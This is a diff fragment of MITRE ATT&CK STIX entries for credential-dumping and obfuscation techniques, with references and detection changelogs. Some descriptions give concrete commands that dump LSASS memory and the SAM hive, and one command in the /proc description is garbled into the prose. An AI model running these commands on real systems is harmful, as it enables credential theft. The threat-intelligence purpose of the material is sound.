+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1015: Active Directory Configuration",
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0026: Active Directory (Active Directory Object Access)",
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0594: Detection of Unauthorized DCSync Operations via Replication API Abuse"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-21 16:22:09.493000+00:00",
+ "modified": "2025-10-24 17:48:29.945000+00:00",
+ "name": "LSA Secrets",
+ "description": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1003/004",
+ "external_id": "T1003.004"
+ },
+ {
+ "source_name": "Tilbury Windows Credentials",
+ "description": "Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.",
+ "url": "https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf"
+ },
+ {
+ "source_name": "ired Dumping LSA Secrets",
+ "description": "Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020.",
+ "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets"
+ },
+ {
+ "source_name": "Microsoft AD Admin Tier Model",
+ "description": "Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.",
+ "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN"
+ },
+ {
+ "source_name": "Passcape LSA Secrets",
+ "description": "Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.",
+ "url": "https://www.passcape.com/index.php?section=docsys&cmd=details&id=23"
+ },
+ {
+ "source_name": "Powersploit",
+ "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
+ "url": "https://github.com/mattifestation/PowerSploit"
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+ "previous_version": "1.1",
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+ "M1017: User Training",
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies"
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+ "changelog_datacomponent_detections": {
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+ "DS0017: Command (Command Execution)",
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+ "shared": [],
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+ "DET0437: Detection of LSA Secrets Dumping via Registry and Memory Extraction"
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+ "id": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 18:41:44.783000+00:00",
+ "modified": "2025-10-24 17:48:52.657000+00:00",
+ "name": "LSASS Memory",
+ "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\nBuilt-in Windows tools such as `comsvcs.dll` can also be used:\n\n* rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\nSimilar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS)\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1003/001",
+ "external_id": "T1003.001"
+ },
+ {
+ "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
+ "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
+ "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
+ },
+ {
+ "source_name": "Deep Instinct LSASS",
+ "description": "Gilboa, A. (2021, February 16). LSASS Memory Dumps are Stealthier than Ever Before - Part 2. Retrieved December 27, 2023.",
+ "url": "https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2"
+ },
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+ "source_name": "Graeber 2014",
+ "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
+ "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
+ },
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+ "source_name": "Volexity Exchange Marauder March 2021",
+ "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.",
+ "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+ },
+ {
+ "source_name": "Powersploit",
+ "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
+ "url": "https://github.com/mattifestation/PowerSploit"
+ },
+ {
+ "source_name": "Symantec Attacks Against Government Sector",
+ "description": "Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.",
+ "url": "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf"
+ },
+ {
+ "source_name": "TechNet Blogs Credential Protection",
+ "description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.",
+ "url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/"
+ }
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+ "M1017: User Training",
+ "M1025: Privileged Process Integrity",
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies",
+ "M1028: Operating System Configuration",
+ "M1040: Behavior Prevention on Endpoint",
+ "M1043: Credential Access Protection"
+ ],
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+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Access)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)",
+ "DS0028: Logon Session (Logon Session Creation)"
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+ },
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+ "shared": [],
+ "new": [
+ "DET0363: Detection of Credential Dumping from LSASS Memory via Access and Dump Sequence"
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 18:42:35.572000+00:00",
+ "modified": "2025-10-24 17:49:34.852000+00:00",
+ "name": "NTDS",
+ "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
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+ ],
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1003/003",
+ "external_id": "T1003.003"
+ },
+ {
+ "source_name": "Metcalf 2015",
+ "description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.",
+ "url": "http://adsecurity.org/?p=1275"
+ },
+ {
+ "source_name": "Wikipedia Active Directory",
+ "description": "Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.",
+ "url": "https://en.wikipedia.org/wiki/Active_Directory"
+ }
+ ],
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+ "x_mitre_deprecated": false,
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+ "x_mitre_version": "1.3",
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+ "shared": [
+ "M1017: User Training",
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies",
+ "M1041: Encrypt Sensitive Information"
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+ "new": [],
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+ "changelog_datacomponent_detections": {
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+ "DS0017: Command (Command Execution)",
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+ "shared": [],
+ "new": [
+ "DET0586: Detection of NTDS.dit Credential Dumping from Domain Controllers"
+ ],
+ "dropped": []
+ }
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+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 18:46:24.434000+00:00",
+ "modified": "2025-10-24 17:48:36.165000+00:00",
+ "name": "Proc Filesystem",
+ "description": "Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc/grep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | cut -d' ' -f 1, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1003/007",
+ "external_id": "T1003.007"
+ },
+ {
+ "source_name": "atomic-red proc file system",
+ "description": "Atomic Red Team. (2023, November). T1003.007 - OS Credential Dumping: Proc Filesystem. Retrieved March 28, 2024.",
+ "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md"
+ },
+ {
+ "source_name": "baeldung Linux proc map 2022",
+ "description": "baeldung. (2022, April 8). Understanding the Linux /proc/id/maps File. Retrieved March 31, 2023.",
+ "url": "https://www.baeldung.com/linux/proc-id-maps"
+ },
+ {
+ "source_name": "Polop Linux PrivEsc Gitbook",
+ "description": "Carlos Polop. (2023, March 5). Linux Privilege Escalation. Retrieved March 31, 2023.",
+ "url": "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem"
+ },
+ {
+ "source_name": "MimiPenguin GitHub May 2017",
+ "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.",
+ "url": "https://github.com/huntergregal/mimipenguin"
+ },
+ {
+ "source_name": "Picus Labs Proc cump 2022",
+ "description": "Huseyin Can YUCEEL & Picus Labs. (2022, March 22). Retrieved March 31, 2023.",
+ "url": "https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use"
+ }
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Tim (Wadhwa-)Brown"
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+ "x_mitre_deprecated": false,
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+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.165000+00:00\", \"old_value\": \"2025-04-15 22:57:59.661000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/PID/maps`, where the `PID` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.\"}}}",
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+ "DS0017: Command (Command Execution)",
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+ "new": [
+ "DET0593: Detecting OS Credential Dumping via /proc Filesystem Access on Linux"
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+ "id": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 18:42:07.281000+00:00",
+ "modified": "2025-10-24 17:48:26.545000+00:00",
+ "name": "Security Account Manager",
+ "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n",
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+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1003/002",
+ "external_id": "T1003.002"
+ },
+ {
+ "source_name": "GitHub Creddump7",
+ "description": "Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.",
+ "url": "https://github.com/Neohapsis/creddump7"
+ }
+ ],
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+ "x_mitre_contributors": [
+ "Ed Williams, Trustwave, SpiderLabs",
+ "Olaf Hartong, Falcon Force"
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+ "x_mitre_domains": [
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+ "x_mitre_platforms": [
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+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training",
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies",
+ "M1028: Operating System Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Access)",
+ "DS0022: File (File Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Access)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0085: Credential Dumping from SAM via Registry Dump and Local File Access"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:32.662000+00:00",
+ "modified": "2025-10-24 17:49:15.265000+00:00",
+ "name": "Obfuscated Files or Information",
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+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1027",
+ "external_id": "T1027"
+ },
+ {
+ "source_name": "Volexity PowerDuke November 2016",
+ "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
+ "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
+ },
+ {
+ "source_name": "GitHub Revoke-Obfuscation",
+ "description": "Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.",
+ "url": "https://github.com/danielbohannon/Revoke-Obfuscation"
+ },
+ {
+ "source_name": "FireEye Obfuscation June 2017",
+ "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
+ "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"
+ },
+ {
+ "source_name": "FireEye Revoke-Obfuscation July 2017",
+ "description": "Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved November 17, 2024.",
+ "url": "https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science-wp.pdf"
+ },
+ {
+ "source_name": "GitHub Office-Crackros Aug 2016",
+ "description": "Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.",
+ "url": "https://github.com/itsreallynick/office-crackros"
+ },
+ {
+ "source_name": "Linux/Cdorked.A We Live Security Analysis",
+ "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.",
+ "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/"
+ },
+ {
+ "source_name": "Carbon Black Obfuscation Sept 2016",
+ "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.",
+ "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/"
+ },
+ {
+ "source_name": "PaloAlto EncodedCommand March 2017",
+ "description": "White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.",
+ "url": "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/"
+ }
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+ "Christiaan Beek, @ChristiaanBeek"
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+ "x_mitre_domains": [
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+ "x_mitre_platforms": [
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+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
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+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Metadata)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)"
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0378: Behavioral Detection of Obfuscated Files or Information"
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+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-05 14:04:25.865000+00:00",
+ "modified": "2025-10-24 17:48:50.205000+00:00",
+ "name": "Binary Padding",
+ "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ",
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+ "phase_name": "defense-evasion"
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+ ],
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+ "url": "https://attack.mitre.org/techniques/T1027/001",
+ "external_id": "T1027.001"
+ },
+ {
+ "source_name": "ESET OceanLotus",
+ "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
+ "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
+ },
+ {
+ "source_name": "Securelist Malware Tricks April 2017",
+ "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.",
+ "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/"
+ },
+ {
+ "source_name": "VirusTotal FAQ",
+ "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.",
+ "url": "https://www.virustotal.com/en/faq/"
+ }
+ ],
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
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+ "x_mitre_deprecated": false,
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+ "macOS"
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+ "new": [],
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+ "new": [],
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+ "DS0022: File (File Metadata)"
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+ "shared": [],
+ "new": [
+ "DET0553: Detection Strategy for Obfuscated Files or Information: Binary Padding"
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+ "dropped": []
+ }
+ },
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+ "type": "attack-pattern",
+ "id": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-16 15:30:57.711000+00:00",
+ "modified": "2025-10-24 17:49:22.358000+00:00",
+ "name": "Compile After Delivery",
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+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1027/004",
+ "external_id": "T1027.004"
+ },
+ {
+ "source_name": "ClearSky MuddyWater Nov 2018",
+ "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
+ "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"
+ },
+ {
+ "source_name": "ATTACK IQ",
+ "description": "Federico Quattrin, Nick Desler, Tin Tam, & Matthew Rutkoske. (2023, March 16). Hiding in Plain Sight: Monitoring and Testing for Living-Off-the-Land Binaries. Retrieved July 15, 2024.",
+ "url": "https://www.attackiq.com/2023/03/16/hiding-in-plain-sight/"
+ },
+ {
+ "source_name": "TrendMicro WindowsAppMac",
+ "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.",
+ "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/"
+ }
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+ "x_mitre_contributors": [
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+ "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
+ "Liran Ravich, CardinalOps"
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "Windows"
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+ "created": "2020-03-19 21:27:32.820000+00:00",
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+ "new": [],
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+ "changelog_datacomponent_detections": {
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+ "new": [],
+ "dropped": [
+ "DS0015: Application Log (Application Log Content)"
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0189: Detection Strategy for Indicator Removal from Tools - Post-AV Evasion Modification"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2023-09-29 15:28:42.409000+00:00",
+ "modified": "2025-10-24 17:49:04.385000+00:00",
+ "name": "LNK Icon Smuggling",
+ "description": "Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. \n\nAdversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads. \n",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1027/012",
+ "external_id": "T1027.012"
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+ "source_name": "Unprotect Shortcut",
+ "description": "Unprotect Project. (2019, March 18). Shortcut Hiding. Retrieved October 3, 2023.",
+ "url": "https://unprotect.it/technique/shortcut-hiding/"
+ },
+ {
+ "source_name": "Booby Trap Shortcut 2017",
+ "description": "Weyne, F. (2017, April). Booby trap a shortcut with a backdoor. Retrieved October 3, 2023.",
+ "url": "https://www.uperesia.com/booby-trapped-shortcut"
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+ "source_name": "Awesome Executable Packing",
+ "description": "Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved March 11, 2022.",
+ "url": "https://github.com/dhondta/awesome-executable-packing"
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+ "source_name": "ESET FinFisher Jan 2018",
+ "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.",
+ "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf"
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "name": "Steganography",
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+ "kill_chain_phases": [
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+ "source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics",
+ "description": "Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.",
+ "url": "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/"
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+ "source_name": "Wikipedia Duqu",
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+ "name": "Obtain Capabilities",
+ "description": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1588",
+ "external_id": "T1588"
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+ "source_name": "PegasusCitizenLab",
+ "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
+ "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/"
+ },
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+ "source_name": "FireEyeSupplyChain",
+ "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
+ "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
+ },
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+ "source_name": "DiginotarCompromise",
+ "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
+ "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
+ },
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+ "source_name": "Recorded Future Beacon Certificates",
+ "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.",
+ "url": "https://www.recordedfuture.com/research/cobalt-strike-servers"
+ },
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+ "source_name": "Splunk Kovar Certificates 2017",
